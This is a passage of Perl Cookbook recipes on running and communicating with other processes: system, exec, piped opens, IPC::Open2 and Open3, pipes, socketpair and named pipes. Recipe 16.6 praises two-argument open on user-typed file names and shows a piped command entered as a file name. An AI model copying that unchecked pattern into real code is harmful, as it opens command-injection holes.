    $SIG{INT} = "IGNORE";
    exec("summarize", "/etc/logfiles")             or die "Can't exec: $!\n";
}

A few programs examine their own program name. Shells look to see whether they were called with a leading minus to indicate interactivity. The expn program at the end of Chapter 18 behaves differently if called as vrfy, which can happen if you've installed the file under two different links as suggested. This is why you shouldn't trust that $0 is really the pathname to the invoked program - you could have been lied to in a number of ways.

If you want to fib to the program you're executing about its own name, specify the real path as the "indirect object" in front of the list passed to system. (This also works with exec.) The indirect object has no comma following it, just like using printf with a filehandle or making object methods without the pointer arrow.

$shell = '/bin/tcsh';
system $shell '-csh';           # pretend it's a login shell

Or, more directly:

system {'/bin/tcsh'} '-csh';    # pretend it's a login shell

In the next example, the program's real pathname is supplied in the indirect object slot as {'/home/tchrist/scripts/expn'}. The fictitious name 'vrfy' is given as the first real function argument, which the program will see stored in $0.

# call expn as vrfy
system {'/home/tchrist/scripts/expn'} 'vrfy', @ADDRESSES;

Using an indirect object with system is also more secure. This usage forces interpretation of the arguments as a multivalued list, even if the list had just one argument. That way you're safe from the shell expanding wildcards or splitting up words with whitespace in them.

@args = ( "echo surprise" );

system @args;               # subject to shell escapes if @args == 1
system { $args[0] } @args;  # safe even with one-arg list

The first version, the one without the indirect object, ran the echo program, passing it "surprise" an argument. The second version didn't - it tried to run a program literally called "echo surprise", didn't find it, and set $? to a non-zero value indicating failure.

See Also

The section on "Cooperating with Strangers" in Chapter 6 of Programming Perl, or perlsec (1); the waitpid, fork, exec, system, and open functions in Chapter 3 of Programming Perl or perlfunc (1); Recipe 16.1; Recipe 16.4; Recipe 16.19; Recipe 19.6; Advanced Programming in the UNIX Environment, by Richard W. Stevens; Addison-Wesley (1992)

Previous: 16.1. Gathering Output from a Program | Perl Cookbook | Next: 16.3. Replacing the Current Program with a Different One
16.1. Gathering Output from a Program | Book Index | 16.3. Replacing the Current Program with a Different One


Recipe 16.3. Replacing the Current Program with a Different One

Perl CookbookSearch this book

16.3. Replacing the Current Program with a Different One

Problem

You want to replace the running program with another, as when checking parameters and setting up the initial environment before running another program.

Solution

Use the built-in exec function. If exec is called with a single argument containing metacharacters, the shell will be used to run the program:

exec("archive *.data")
    or die "Couldn't replace myself with archive: $!\n";

If you pass exec more than one argument, the shell will not be used:

exec("archive", "accounting.data")
    or die "Couldn't replace myself with archive: $!\n";

If called with a single argument containing no shell metacharacters, the argument will be split on whitespace and then interpreted as though the resulting list had been passed to exec:

exec("archive accounting.data")
    or die "Couldn't replace myself with archive: $!\n";

Discussion

The exec function in Perl is a direct interface to the execlp (2) system call, which replaces the current program with another, leaving the process intact. The program that calls exec gets wiped clean, and its place in the operating system's process table is taken by the program specified in the arguments to exec. As a result, the new program has the same process ID ($$) as the original program. If the specified program couldn't be run, exec returns a false value and the original program continues. Be sure to check for this.

If you exec yourself into a different program, neither your END blocks nor any object destructors will be automatically run as they would if your process actually exited.

See Also

The exec in Chapter 3 of Programming Perl and in perlfunc (1); your system's execlp (2) manpage (if you have it); Recipe 16.2

Previous: 16.2. Running Another Program | Perl Cookbook | Next: 16.4. Reading or Writing to Another Program
16.2. Running Another Program | Book Index | 16.4. Reading or Writing to Another Program


Recipe 16.4. Reading or Writing to Another Program

Perl CookbookSearch this book

16.4. Reading or Writing to Another Program

Problem

You want to run another program and either read its output or supply the program with input.

Solution

Use open with a pipe symbol at the beginning or end. To read from a program, put the pipe symbol at the end:

$pid = open(README, "program arguments |")  or die "Couldn't fork: $!\n";
while (<README>) {
    # ...
}
close(README)                               or die "Couldn't close: $!\n";

To write to the program, put the pipe at the beginning:

$pid = open(WRITEME, "| program arguments") or die "Couldn't fork: $!\n";
print WRITEME "data\n";
close(WRITEME)                              or die "Couldn't close: $!\n";

Discussion

In the case of reading, this is similar to using backticks, except you have a process ID and a filehandle. As with the backticks, open uses the shell if it sees shell-special characters in its argument, but it doesn't if there aren't any. This is usually a welcome convenience, because it lets the shell do filename wildcard expansion and I/O redirection, saving you the trouble.

However, sometimes this isn't desirable. Piped opens that include unchecked user data would be unsafe while running in taint mode or in untrustworthy situations. Recipe 19.6 shows how to get the effect of a piped open without risking using the shell.

Notice how we specifically call close on the filehandle. When you use open to connect a filehandle to a child process, Perl remembers this and automatically waits for the child when you close the filehandle. If the child hasn't exited by then, Perl waits until it does. This can be a very, very long wait if your child doesn't exit:

$pid = open(F, "sleep 100000|");    # child goes to sleep
close(F);                           # and the parent goes to lala land

To avoid this, you can save the PID returned by open to kill your child, or use a manual pipe-fork-exec sequence as described in Recipe 16.10.

If you attempt to write to a process that has gone away, your process will receive a SIGPIPE. The default disposition for this signal is to kill your process, so the truly paranoid install a SIGPIPE handler just in case.

If you want to run another program and be able to supply its STDIN yourself, a similar construct is used:

$pid = open(WRITEME, "| program args");
print WRITEME "hello\n";            # program will get hello\n on STDIN
close(WRITEME);                     # program will get EOF on STDIN

The leading pipe symbol in the filename argument to open tells Perl to start another process instead. It connects the opened filehandle to the process's STDIN. Anything you write to the filehandle can be read by the program through its STDIN. When you close the filehandle, the opened process will get an eof when it next tries to read from STDIN.

You can also use this technique to change your program's normal output path. For example, to automatically run everything through a pager, use something like:

$pager = $ENV{PAGER} || '/usr/bin/less';  # XXX: might not exist
open(STDOUT, "| $pager");

Now, without changing the rest of your program, anything you print to standard output will go through the pager automatically.

As with opening a process for reading, text passed to the shell here is subject to shell metacharacter interpretation. To avoid the shell, a similar solution is called for. As before, the parent should also be wary of close. If the parent closes the filehandle connecting it to the child, the parent will block while waiting for the child to finish. If the child doesn't finish, neither will the close. The workaround as before is either to kill your child process prematurely, or else use the low-level pipe-fork-exec scenario.

When using piped opens, always check return values of both open and close, not just of open. That's because the return value from open does not indicate whether the command was succesfully launched. With a piped open, you fork a child to execute the command. Assuming the system hadn't run out of processes, the fork immediately returns the PID of the child it just created.

By the time the child process tries to exec the command, it's a separately scheduled process. So if the command can't be found, there's effectively no way to communicate this back to the open function, because that function is in a different process!

Check the return value from close to see whether the command was successful. If the child process exits with non-zero status - which it will do if the command isn't found - the close returns false and $? is set to the wait status of that process. You can interpret its contents as described in Recipe 16.19.

In the case of a pipe opened for writing, you should also install a SIGPIPE handler, since writing to a child that isn't there will trigger a SIGPIPE.

See Also

The open function in Chapter 3 of Programming Perl and in perlfunc (1); Recipe 16.10; Recipe 16.15; Recipe 16.19; Recipe 19.6

Previous: 16.3. Replacing the Current Program with a Different One | Perl Cookbook | Next: 16.5. Filtering Your Own Output
16.3. Replacing the Current Program with a Different One | Book Index | 16.5. Filtering Your Own Output


Recipe 16.5. Filtering Your Own Output

Perl CookbookSearch this book

16.5. Filtering Your Own Output

Problem

You want to postprocess your program's output without writing a separate program to do so.

Solution

Use the forking form of open to attach a filter to yourself. For example, this will restrict your program to a hundred lines of output:

head(100);
while (<>) {
    print;
}

sub head {
    my $lines = shift || 20;
    return if $pid = open(STDOUT, "|-");
    die "cannot fork: $!" unless defined $pid;
    while (<STDIN>) {
        print;
        last unless --$lines ;
    }
    exit;
}

Discussion

It's easy to add an output filter. Just use the forking open on your own STDOUT, and let the child filter STDIN to STDOUT, performing whatever alterations you care about. Notice that we install the output filter before we generate the output. This makes sense - you can't filter your output if it has already left your program. Any such filters should be applied in LIFO order - the last one inserted is the first one run.

Here's an example that uses two output filters. One numbers lines; the other quotes the lines like a mail reply. When run on /etc/motd, you get something like:

1: > Welcome to Linux, version 2.0.33 on a i686
2: >
3: >     "The software required `Windows 95 or better',
4: >      so I installed Linux."

If you reversed the order of the two filters, you'd get:

> 1: Welcome to Linux, Kernel version 2.0.33 on a i686
> 2:
> 3:     "The software required `Windows 95 or better',
> 4:      so I installed Linux."

The program is in Example 16.1.

Example 16.1: qnumcat

#!/usr/bin/perl
# qnumcat - demo additive output filters

number();                   # push number filter on STDOUT
quote();                    # push quote filter on STDOUT

while (<>) {                # act like /bin/cat
    print;
}
close STDOUT;               # tell kids we're done--politely
exit;

sub number {
    my $pid;
    return if $pid = open(STDOUT, "|-");
    die "cannot fork: $!" unless defined $pid;
    while (<STDIN>) { printf "%d: %s", $., $_ }
    exit;
}

sub quote {
    my $pid;
    return if $pid = open(STDOUT, "|-");
    die "cannot fork: $!" unless defined $pid;
    while (<STDIN>) { print "> $_" }
    exit;
}

As with all process forks, doing this a zillion times has some cost, but it's fine for a couple of processes, or even a couple dozen. If the system was actually designed to be multitasking right from the start, as Unix was, this is far cheaper than you imagine. Virtual memory and copy-on-write makes this efficient. Forking is an elegant and inexpensive solution to many, if not most, multitasking needs.

See Also

The open function in Chapter 3 of Programming Perl and in perlfunc (1); Recipe 16.4

Previous: 16.4. Reading or Writing to Another Program | Perl Cookbook | Next: 16.6. Preprocessing Input
16.4. Reading or Writing to Another Program | Book Index | 16.6. Preprocessing Input


Recipe 16.6. Preprocessing Input

Perl CookbookSearch this book

16.6. Preprocessing Input

Problem

You'd like your programs to work on files with funny formats, such as compressed files or remote web documents specified with a URL, but your program only knows how to access regular text in local files.

Solution

Take advantage of Perl's easy pipe handling by changing your input files' names to pipes before opening them.

To autoprocess gzipped or compressed files by decompressing them with gzip, use:

@ARGV = map { /\.(gz|Z)$/ ? "gzip -dc $_ |" : $_  } @ARGV;
while (<>) {
    # .......
}

To fetch URLs before processing them, use the GET program from LWP (see Chapter 20, Web Automation):

@ARGV = map { m#^\w+://# ? "GET $_ |" : $_ } @ARGV;
while (<>) {
    # .......
}

You might prefer to fetch just the text, of course, not the HTML. That just means using a different command, perhaps lynx -dump.

Discussion

As shown in Recipe 16.1, Perl's built-in open function is magical: you don't have to do anything special to get Perl to open a pipe instead of a file. (That's why it's sometimes called magic open and, when applied to implicit ARGV processing, magic ARGV.) If it looks like a pipe, Perl will open it like a pipe. We take advantage of this by rewriting certain filenames to include a decompression or other preprocessing stage. For example, the file "09tails.gz" becomes "gzcat -dc 09tails.gz|".

This technique has further applications. Suppose you wanted to read /etc/passwd if the machine isn't using NIS, and the output of ypcat passwd if it is. You'd use the output of the domainname program to decide if you're running NIS, and then set the filename to open to be either "< /etc/passwd" or "ypcat passwd|":

$pwdinfo = `domainname` =~ /^(\(none\))?$/
                ? '< /etc/passwd'
                : 'ypcat  passwd |';

open(PWD, $pwdinfo)                 or die "can't open $pwdinfo: $!";

The wonderful thing is that even if you didn't think to build such processing into your program, Perl already did it for you. Imagine a snippet of code like this:

print "File, please? ";
chomp($file = <>);
open (FH, $file)                    or die "can't open $file: $!";

The user can enter a regular filename - or something like "webget http://www.perl.com |" instead - and your program would suddenly be reading from the output of some webget program. They could even enter -, a lone minus sign, which, when opened for reading, interpolates standard input instead.

This also comes in handy with the automatic ARGV processing we saw in Recipe 7.7.

See Also

Recipe 7.7; Recipe 16.4

Previous: 16.5. Filtering Your Own Output | Perl Cookbook | Next: 16.7. Reading STDERR from a Program
16.5. Filtering Your Own Output | Book Index | 16.7. Reading STDERR from a Program


Recipe 16.7. Reading STDERR from a Program

Perl CookbookSearch this book

16.7. Reading STDERR from a Program

Problem

You want to run a program as you would with system, backticks, or open, but you don't want its STDERR to be sent to your STDERR. You would like to be able to either ignore or read the STDERR.

Solution

Use the shell's numeric redirection and duplication syntax for file descriptors. (We don't check the return value from open here, to make the examples easier to read, but you should always check it in your programs!)

To capture a command's STDERR and STDOUT together:

$output = `cmd 2>&1`;                          # with backticks
# or
$pid = open(PH, "cmd 2>&1 |");                 # with an open pipe
while (<PH>) { }                               # plus a read

To capture a command's STDOUT and discard its STDERR:

$output = `cmd 2>/dev/null`;                   # with backticks
# or
$pid = open(PH, "cmd 2>/dev/null |");          # with an open pipe
while (<PH>) { }                               # plus a read

To capture a command's STDERR and discard its STDOUT:

$output = `cmd 2>&1 1>/dev/null`;              # with backticks
# or
$pid = open(PH, "cmd 2>&1 1>/dev/null |");     # with an open pipe
while (<PH>) { }                               # plus a read

To exchange a command's STDOUT and STDERR, i.e., capture the STDERR but have its STDOUT come out on our old STDERR:

$output = `cmd 3>&1 1>&2 2>&3 3>&-`;           # with backticks
# or
$pid = open(PH, "cmd 3>&1 1>&2 2>&3 3>&-|");   # with an open pipe
while (<PH>) { }                               # plus a read

To read both a command's STDOUT and its STDERR separately, it's easiest and safest to redirect them separately to files, and then read from those files when the program is done:

system("program args 1>/tmp/program.stdout 2>/tmp/program.stderr");

Discussion

When you launch a command with backticks, a piped open, or system on a single string, Perl checks for characters special to the shell. These allow you to redirect the new program's file descriptors. STDIN is file descriptor number 0, STDOUT number 1, and STDERR number 2. You can then use 2>file to redirect STDERR to a file. The special notation &N where N is a file descriptor number is used to redirect to a file descriptor. Therefore, 2>&1 points STDERR at STDOUT.

Here is a table of interesting shell file descriptor redirections:

Redirection | Meaning
0</dev/null | Make STDIN give immediate EOF
1>/dev/null | Discard STDOUT
2>/dev/null | Discard STDERR
2>&1 | Send STDERR to STDOUT instead
2>&- | Close STDERR (not recommended)
3<>/dev/tty | Open fd 3 to /dev/tty in read-write mode

Using this, let's examine the most complicated of the redirection sequences from the solution section:

$output = `cmd 3>&1 1>&2 2>&3 3>&-`;

There are four steps here:

Step A: 3>&1

Make a new file descriptor, number 3, be a copy of number 1. This saves where STDOUT had been destined in the new file descriptor we've just opened.

Step B: 1>&2

Make STDOUT go wherever STDERR had been going. We still have the saved destination squirreled away in descriptor 3.

Step C: 2>&3

Make file descriptor 2 a copy of number 3. That means that STDERR is now going out where STDOUT had been originally going.

Step D: 3>&-

Since we're done moving streams around, keep everything nice and tidy and close our temporary file descriptor. This avoids file descriptor leaks.

If that's confusing, it might help to think in terms of regular variables and a sequence of assignment statements, with $fd1 representing STDOUT and $fd2 representing STDERR. If you wanted to exchange the two variables, you'd use a temporary to hold one value. That's all we're doing here.

$fd3 = $fd1;
$fd1 = $fd2;
$fd2 = $fd3;
$fd3 = undef;

When all's said and done, the string returned from the backticks is the command's STDERR, and its STDOUT has been diverted to the original STDERR.

Ordering is important in all these examples. That's because the shell processes file descriptor redirections in strictly left to right order.

system("prog args 1>tmpfile 2>&1");
system("prog args 2>&1 1>tmpfile");

The first command sends both standard out and standard error to the temporary file. The second command sends only the old standard output there, and the old standard error shows up on the old standard out. If that's confusing, think in terms of assignments to variables representing file descriptors:

# system ("prog args 1>tmpfile 2>&1");
$fd1 = "tmpfile";        # change stdout destination first
$fd2 = $fd1;             # now point stderr there, too

is very different from:

# system("prog args 2>&1 1>tmpfile");
$fd2 = $fd1;             # stderr same destination as stdout
$fd1 = "tmpfile";        # but change stdout destination

See Also

Your system's sh (1) manpage (if you have one) for details about file descriptor redirection; the system function in Chapter 3 of Programming Perl and in perlfunc (1)

Previous: 16.6. Preprocessing Input | Perl Cookbook | Next: 16.8. Controlling Input and Output of Another Program
16.6. Preprocessing Input | Book Index | 16.8. Controlling Input and Output of Another Program


Recipe 16.8. Controlling Input and Output of Another Program

Perl CookbookSearch this book

16.8. Controlling Input and Output of Another Program

Problem

You want to both write to and read from another program. The open function lets you do one or the other, but not both.

Solution

Use the standard IPC::Open2 module:

use IPC::Open2;

open2(*README, *WRITEME, $program);
print WRITEME "here's your input\n";
$output = <README>;
close(WRITEME);
close(README);

Discussion

Wanting simultaneous read and write access to another program is very common, but surprisingly perilous. That's why open doesn't let you say:

open(DOUBLE_HANDLE, "| program args |")     # WRONG

The big problem here is buffering. Because you can't force the other program to unbuffer its output, you can't guarantee that your reads won't block. If you block trying to read at the same time the other process blocks waiting for you to send something, you've achieved the unholy state of deadlock. There you'll both stay, wedged, until someone kills your process or the machine reboots.

If you control the other process's buffering because you wrote the other program and know how it works, then IPC::Open2 may be the module for you. The first two arguments to open2 that IPC::Open2 exports into your namespace are filehandles. Either pass references to typeglobs as in the Solution, or create your own IO::Handle objects and pass them in:

use IPC::Open2;
use IO::Handle;

($reader, $writer) = (IO::Handle->new, IO::Handle->new);
open2($reader, $writer, $program);

If you pass in objects, you must have created them (with IO::Handle->new, for instance) first. The open2 function will not create handles for you if you pass in variables that don't contain filehandles.

Alternatively, you can pass in arguments that look like "<&OTHERFILEHANDLE" or ">&OTHERFILEHANDLE", which specify existing filehandles for the child process to read from or write to. These filehandles don't have to be controlled by your program - they may be connected to other programs, files, or sockets.

You can specify the program either as a list (where the first element is the program name and the remaining elements are arguments to the program) or as a single string (which is passed to the shell as a command to start the program). If you also want control over the process's standard error, use the IPC::Open3 module and see the next recipe.

If an error occurs, open2 and open3 do not return. Instead, they die with an error message that begins with "open2" or "open3". To test for failure, use the eval BLOCK construct:

eval {
    open2($readme, $writeme, @program_and_arguments);
};
if ($@) {
    if ($@ =~ /^open2/) {
        warn "open2 failed: $!\n$@\n";
        return;
    }
    die;            # reraise unforeseen exception
}

See Also

The documentation for the IPC::Open2 and IPC::Open3 modules; Recipe 10.12; the eval function in Chapter 3 of Programming Perl and in perlfunc (1); the $@ variable in the section on "Global Special Variables" in Chapter 2 of Programming Perl and in perlvar (1)

Previous: 16.7. Reading STDERR from a Program | Perl Cookbook | Next: 16.9. Controlling the Input, Output, and Error of Another Program
16.7. Reading STDERR from a Program | Book Index | 16.9. Controlling the Input, Output, and Error of Another Program


Recipe 16.9. Controlling the Input, Output, and Error of Another Program

Perl CookbookSearch this book

16.9. Controlling the Input, Output, and Error of Another Program

Problem

You want full control over a command's input, output, and error streams.

Solution

Carefully use the standard IPC::Open3 module, possibly in conjunction with the IO::Select module. (IO::Select is new as of the 5.004 distribution.)

Discussion

If you're interested in only one of the program's STDIN, STDOUT, or STDERR, the task is simple. When you want to manage two or more of these, however, it abruptly stops being simple. Multiplexing multiple I/O streams is never a pretty picture. Here's an easy workaround:

@all = `($cmd | sed -e 's/^/stdout: /' ) 2>&1`;
for (@all) { push @{ s/stdout: // ? \@outlines : \@errlines }, $_ }
print "STDOUT:\n", @outlines, "\n";
print "STDERR:\n", @errlines, "\n";

If you don't have sed on your system, you'll find that for simple cases like this, perl -pe works just as well as sed -e.

However, that's not really simultaneous processing. All we're doing is marking STDOUT lines with "stdout:" and then stripping them back out once we've read all the STDOUT and STDERR the program produced.

You can use the standard IPC::Open3 module for this. Mysteriously, the argument order is different for IPC::Open3 than for IPC::Open2.

open3(*WRITEHANDLE, *READHANDLE, *ERRHANDLE, "program to run");

Using this has even more potential for chaos than using open2. If you're reading the program's STDERR as it is trying to write more than one buffer's worth to its STDOUT, the program will block on the write because its buffers are full, and you will block on the read because there's nothing available.

You can avoid this deadlock by mimicking open3 with fork, open, and exec; making all the filehandles unbuffered; and using sysread, syswrite, and select to decide which readable filehandle to read a byte from. This makes your program slower and bulkier, though, and it doesn't solve the classic open2 deadlock where each program is expecting the other to say something.

use IPC::Open3;
$pid = open3(*HIS_IN, *HIS_OUT, *HIS_ERR, $cmd);
close(HIS_IN);  # give end of file to kid, or feed him
@outlines = <HIS_OUT>;              # read till EOF
@errlines = <HIS_ERR>;              # XXX: block potential if massive
print "STDOUT:\n", @outlines, "\n";
print "STDERR:\n", @errlines, "\n";

As if deadlock weren't bad enough, this approach is subtly error-prone. There are at least three worrisome situations: both the child and the parent trying to read at the same time, causing deadlock; full buffers causing the child to block as it tries to write to STDERR while the parent is blocked trying to read from the child's STDOUT; and full buffers causing the parent to block writing to the child's STDIN while the child is blocked writing to either its STDOUT or STDERR. The first problem is generally unsolvable, although you can work around it by setting timers with alarm and preventing blocking operations from restarting if a SIGALRM is received.

We use the IO::Select module (you could also do this with the built-in function select) to learn which filehandles (if any) can be read from. This solves the second problem, but not the third. To solve the third, you also need alarm and non-restarting SIGALRM.

If you want to send input to the program, read its output, and either read or ignore its error, you need to work much harder. (See Example 16.2.)

Example 16.2: cmd3sel

#!/usr/bin/perl
# cmd3sel - control all three of kids in, out, and error.
use IPC::Open3;
use IO::Select;

$cmd = "grep vt33 /none/such - /etc/termcap";
$pid = open3(*CMD_IN, *CMD_OUT, *CMD_ERR, $cmd);

$SIG{CHLD} = sub {
    print "REAPER: status $? on $pid\n" if waitpid($pid, 0) > 0
};

print CMD_IN "This line has a vt33 lurking in it\n";
close(CMD_IN);

$selector = IO::Select->new();
$selector->add(*CMD_ERR, *CMD_OUT);

while (@ready = $selector->can_read) {
    foreach $fh (@ready) {
        if (fileno($fh) == fileno(CMD_ERR)) {print "STDERR: ", scalar <CMD_ERR>}
        else                                {print "STDOUT: ", scalar <CMD_OUT>}
        $selector->remove($fh) if eof($fh);
    }
}
close(CMD_OUT);
close(CMD_ERR);

We sent only a short line as input, then closed the handle. This avoids the deadlock situation of two processes each waiting for the other to write something.

See Also

The documentation for the standard IO::Select, IPC::Open2, and IPC::Open3 modules; the alarm function in Chapter 3 of Programming Perl or perlfunc (1); Recipe 16.8; Recipe 16.15; Recipe 16.16

Previous: 16.8. Controlling Input and Output of Another Program | Perl Cookbook | Next: 16.10. Communicating Between Related Processes
16.8. Controlling Input and Output of Another Program | Book Index | 16.10. Communicating Between Related Processes


Recipe 16.10. Communicating Between Related Processes

Perl CookbookSearch this book

16.10. Communicating Between Related Processes

Problem

You have two related processes that need to communicate, and you need better control than you can get from open, system, and backticks.

Solution

Use pipe and then fork:

pipe(READER, WRITER);
if (fork) {
    # run parent code, either reading or writing, not both
} else {
    # run child code, either reading or writing, not both
}

Or use a special forking form of open:

if ($pid = open(CHILD, "|-")) {
        # run parent code, writing to child
} else {
    die "cannot fork: $!" unless defined $pid;
    # otherwise run child code here, reading from parent
}

Or, going the other way:

if ($pid = open(CHILD, "-|")) {
    # run parent code, reading from child
} else {
    die "cannot fork: $!" unless defined $pid;
    # otherwise run child code here, writing to parent
}

Discussion

Pipes are simply two connected filehandles, where data written to one filehandle can be read by the other. The pipe function creates two filehandles linked in this way, one writable and one readable. Even though you can't take two already existing filehandles and link them, pipe can be used for communication between processes. One process creates a pair of filehandles with the pipe functions, then forks off a child, resulting in two distinct processes both running in the same program, each with a copy of the connected filehandles.

It doesn't matter which process is the reader and which is the writer, so long as one of them takes one role and its peer process takes the other. You can only have one-way communication. (But read on.)

We'll pull in the IO::Handle module so we can call its autoflush() method. (You could instead play the select games described in Chapter 7, File Access, if you prefer a lightweight solution.) If we didn't, our single line of output would get lodged in the pipe and not make it through to the other side until we closed that handle.

The version of the parent writing to the child is shown in Example 16.3.

Example 16.3: pipe1

#!/usr/bin/perl -w
# pipe1 - use pipe and fork so parent can send to child

use IO::Handle;
pipe(READER, WRITER);
WRITER->autoflush(1);

if ($pid = fork) {
    close READER;
    print WRITER "Parent Pid $$ is sending this\n";
    close WRITER;
    waitpid($pid,0);
} else {
    die "cannot fork: $!" unless defined $pid;
    close WRITER;
    chomp($line = <READER>);
    print "Child Pid $$ just read this: `$line'\n";
    close READER;  # this will happen anyway
    exit;
}

In the examples in this recipe, most error checking has been left as an exercise for the reader. This is so you can more clearly see how the functions interact. In real life, test the return values of all system calls.

The version of the child writing to the parent is shown in Example 16.4.

Example 16.4: pipe2

#!/usr/bin/perl -w
# pipe2 - use pipe and fork so child can send to parent

use IO::Handle;
pipe(READER, WRITER);
WRITER->autoflush(1);

if ($pid = fork) {
    close WRITER;
    chomp($line = <READER>);
    print "Parent Pid $$ just read this: `$line'\n";
    close READER;
    waitpid($pid,0);
} else {
    die "cannot fork: $!" unless defined $pid;
    close READER;
    print WRITER "Child Pid $$ is sending this\n";
    close WRITER;  # this will happen anyway
    exit;
}

In most code, both halves would go into loops, with the reader continuing to read until end of file. This happens when the writer closes or exits.

Because piped filehandles are not bidirectional, each process uses just one of the pair and closes the filehandle it doesn't use. The reason is subtle; picture the situation where the reader does not close the writable filehandle. If the writer then exits while the reader is trying to read something, the reader will hang forever. This is because the system won't tell the reader that there's no more data to be read until all copies of the writable filehandle are closed.

The open function, when passed as its second argument either "-|" or "|-" will implicitly pipe and fork. This makes the piping code above slightly easier. The child talks to the parent over STDIN or STDOUT, depending on whether "-|" or "|-" was used.

Using open this way, if the parent wants to write to the child, it does something like what's shown in Example 16.5.

Example 16.5: pipe3

#!/usr/bin/perl -w
# pipe3 - use forking open so parent can send to child

use IO::Handle;
if ($pid = open(CHILD, "|-")) {
    CHILD->autoflush(1);
    print CHILD "Parent Pid $$ is sending this\n";
    close(CHILD);
} else {
    die "cannot fork: $!" unless defined $pid;
    chomp($line = <STDIN>);
    print "Child Pid $$ just read this: `$line'\n";
    exit;
}

Since the child already has STDIN set to the parent, the child could exec some other program that expects to read from standard input, such as lpr. In fact, this is useful and commonly done.

If the child wants to write to the parent, it does something like what's shown in Example 16.6.

Example 16.6: pipe4

#!/usr/bin/perl -w
# pipe4 - use forking open so child can send to parent

use IO::Handle;
if ($pid = open(CHILD, "-|")) {
    chomp($line = <CHILD>);
    print "Parent Pid $$ just read this: `$line'\n";
    close(CHILD);
} else {
    die "cannot fork: $!" unless defined $pid;
    STDOUT->autoflush(1);
    print STDOUT "Child Pid $$ is sending this\n";
    exit;
}

Again, since the child already has its STDOUT connected to the parent, this child could exec some other program to produce something interesting on its standard output. That output would be available to the parent as input from <CHILD>.

When using open this way, we don't have to manually call waitpid since we didn't do a manual fork. We do have to call close, though. In both cases, the $? variable will have the child's wait status in it (see Recipe 16.19 to see how to interpret this status value).

The preceding examples were unidirectional. What if you want both processes talking to each other? Just make two calls to pipe before forking. You must be careful about who tells whom what and when, though, or you're apt to deadlock. (See Example 16.7.)

Example 16.7: pipe5

#!/usr/bin/perl -w
# pipe5 - bidirectional communication using two pipe pairs
#         designed for the socketpair-challenged
use IO::Handle;
pipe(PARENT_RDR, CHILD_WTR);
pipe(CHILD_RDR,  PARENT_WTR);
CHILD_WTR->autoflush(1);
PARENT_WTR->autoflush(1);

if ($pid = fork) {
    close PARENT_RDR; close PARENT_WTR;
    print CHILD_WTR "Parent Pid $$ is sending this\n";
    chomp($line = <CHILD_RDR>);
    print "Parent Pid $$ just read this: `$line'\n";
    close CHILD_RDR; close CHILD_WTR;
    waitpid($pid,0);
} else {
    die "cannot fork: $!" unless defined $pid;
    close CHILD_RDR; close CHILD_WTR;
    chomp($line = <PARENT_RDR>);
    print "Child Pid $$ just read this: `$line'\n";
    print PARENT_WTR "Child Pid $$ is sending this\n";
    close PARENT_RDR; close PARENT_WTR;
    exit;
}

That's getting complicated. It just so happens that there's a special system call, shown in Example 16.8, that makes the last example simpler. It's called socketpair, and it works like pipe, except that both handles can be used for reading and for writing.

Example 16.8: pipe6

#!/usr/bin/perl -w
# pipe6 - bidirectional communication using socketpair
#   "the best ones always go both ways"

use Socket;
use IO::Handle;
# We say AF_UNIX because although *_LOCAL is the
# POSIX 1003.1g form of the constant, many machines
# still don't have it.
socketpair(CHILD, PARENT, AF_UNIX, SOCK_STREAM, PF_UNSPEC)
    or  die "socketpair: $!";

CHILD->autoflush(1);
PARENT->autoflush(1);

if ($pid = fork) {
    close PARENT;
    print CHILD "Parent Pid $$ is sending this\n";
    chomp($line = <CHILD>);
    print "Parent Pid $$ just read this: `$line'\n";
    close CHILD;
    waitpid($pid,0);
} else {
    die "cannot fork: $!" unless defined $pid;
    close CHILD;
    chomp($line = <PARENT>);
    print "Child Pid $$ just read this: `$line'\n";
    print PARENT "Child Pid $$ is sending this\n";
    close PARENT;
    exit;
}

In fact, some systems have historically implemented pipes as two half-closed ends of a socketpair. They essentially define pipe(READER, WRITER) this way:

socketpair(READER, WRITER, AF_UNIX, SOCK_STREAM, PF_UNSPEC);
shutdown(READER, 1);        # no more writing for reader
shutdown(WRITER, 0);        # no more reading for writer

On Linux kernels before 2.0.34, the shutdown (2) system call was broken. Instead of telling the reader not to write and the writer not to read, you had to tell the reader not to read and the writer not to write.

See Also

Chapter 3 of Programming Perl or perlfunc (1) for all functions used here; the documentation for the standard IPC::Open2 module; Advanced Programming in the Unix Environment; Recipe 16.8; Recipe 19.6

Previous: 16.9. Controlling the Input, Output, and Error of Another Program | Perl Cookbook | Next: 16.11. Making a Process Look Like a File with Named Pipes
16.9. Controlling the Input, Output, and Error of Another Program | Book Index | 16.11. Making a Process Look Like a File with Named Pipes


Recipe 16.11. Making a Process Look Like a File with Named Pipes

Perl CookbookSearch this book

16.11. Making a Process Look Like a File with Named Pipes

Problem

You want a process to intercept all access to a file. For instance, you want to make your ~/.plan file a program that returns a random quote.

Solution

Use named pipes. First create one, probably from your shell:

% mkfifo /path/to/named.pipe

Here's a reader for it:

open(FIFO, "< /path/to/named.pipe")         or die $!;
while (<FIFO>) {
    print "Got: $_";
}
close(FIFO);

Here's a writer for it:

open(FIFO, "> /path/to/named.pipe")         or die $!;
print FIFO "Smoke this.\n";
close(FIFO);

Discussion

A named pipe, or FIFO as they are also known, is a special file that acts as a buffer to connect processes on the same machine. Ordinary pipes also allow processes to communicate, but those processes must have inherited the filehandles from their parents. To use a named pipe, a process need know only the named pipe's filename. In most cases, processes don't even need to be aware that they're reading from a FIFO.

Named pipes can be read from and written to just as though they were ordinary files (unlike Unix-domain sockets as discussed in Chapter 17, Sockets). Data written into the FIFO is buffered up by the operating system, then read back in the order it was written in. Because a FIFO acts as a buffer to connect processes, opening one for reading will block until another process opens it for writing, and vice versa. If you open for read and write using the +< mode to open, you won't block (on most systems) because your process could be both reader and writer.

Let's examine how to use a named pipe so people will get a different file each time they finger you. To create a named pipe, use mkfifo or mknod to create a named pipe called .plan in your home directory:

% mkfifo ~/.plan                    # isn't this everywhere yet?
% mknod  ~/.plan p                  # in case you don't have mkfifo

On some systems, you must use mknod (8). The location and names of these programs aren't uniform or necessarily obvious, so consult your system documentation to find out where these programs are.

The next step is to create a program to feed data to the programs that read from your ~/.plan file. We'll just print the date and time, as shown in Example 16.9.

Example 16.9: dateplan

#!/usr/bin/perl -w
# dateplan - place current date and time in .plan file
while (1) {
    open(FIFO, "> $ENV{HOME}/.plan")
        or die "Couldn't open $ENV{HOME}/.plan for writing: $!\n";
    print FIFO "The current time is ", scalar(localtime), "\n";
    close FIFO;
    sleep 1;
}

